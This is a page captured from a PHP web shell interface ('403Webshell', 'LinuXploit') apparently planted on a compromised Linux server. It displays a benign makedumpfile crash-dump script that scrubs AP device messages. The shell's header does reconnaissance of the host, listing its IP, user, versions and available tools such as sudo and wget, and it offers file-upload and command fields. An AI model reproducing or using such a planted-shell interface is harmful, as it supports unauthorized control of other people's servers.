403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.46
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/makedumpfile/eppic_scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/makedumpfile/eppic_scripts/ap_messages_3_10_to_4_8.c
string
ap_device_opt()
{
	    return "l";
}

string
ap_device_usage()
{
	    return "\n";
}

static void
ap_device_showusage()
{
	    printf("usage : ap_device %s", ap_device_usage());
}

string
ap_device_help()
{
	    return "Help";
}

int
ap_device()
{
	int i;
	struct list_head *next;
	struct list_head *head;
	struct ap_device *off = 0;

	head = (struct list_head *)&ap_device_list;
	next = (struct list_head *)head->next;

	if (!next)
		return 1;

	while (next != head)
	{
		struct ap_device *device;
		struct list_head *next1, *head1;

		device = (struct ap_device *)((unsigned long)next - ((unsigned long)&(off->list)));

		head1 = (struct list_head *)&(device->pendingq);
		next1 = (struct list_head *)device->pendingq.next;

		while (next1 != head1)
		{
			struct ap_message *apmsg;
			apmsg = (struct ap_message *)next1;

			if (apmsg->length) {
				memset((char *)apmsg->message, 'L', apmsg->length);
				memset((char *)&(apmsg->length), 'L', 0x8);
			}

			next1 = (struct list_head *)apmsg->list.next;
		}

		head1 = (struct list_head *)&(device->requestq);
		next1 = (struct list_head *)device->requestq.next;

		while (next1 != head1)
		{
			struct ap_message *apmsg;
			apmsg = (struct ap_message *)next1;

			if (apmsg->length) {
				memset((char *)apmsg->message, 'L', apmsg->length);
				memset((char *)&(apmsg->length), 'L', 0x8);
			}

			next1 = (struct list_head *)apmsg->list.next;
		}

		next = (struct list_head *)device->list.next;
	}

	return 1;
}

Youez - 2016 - github.com/yon3zu
LinuXploit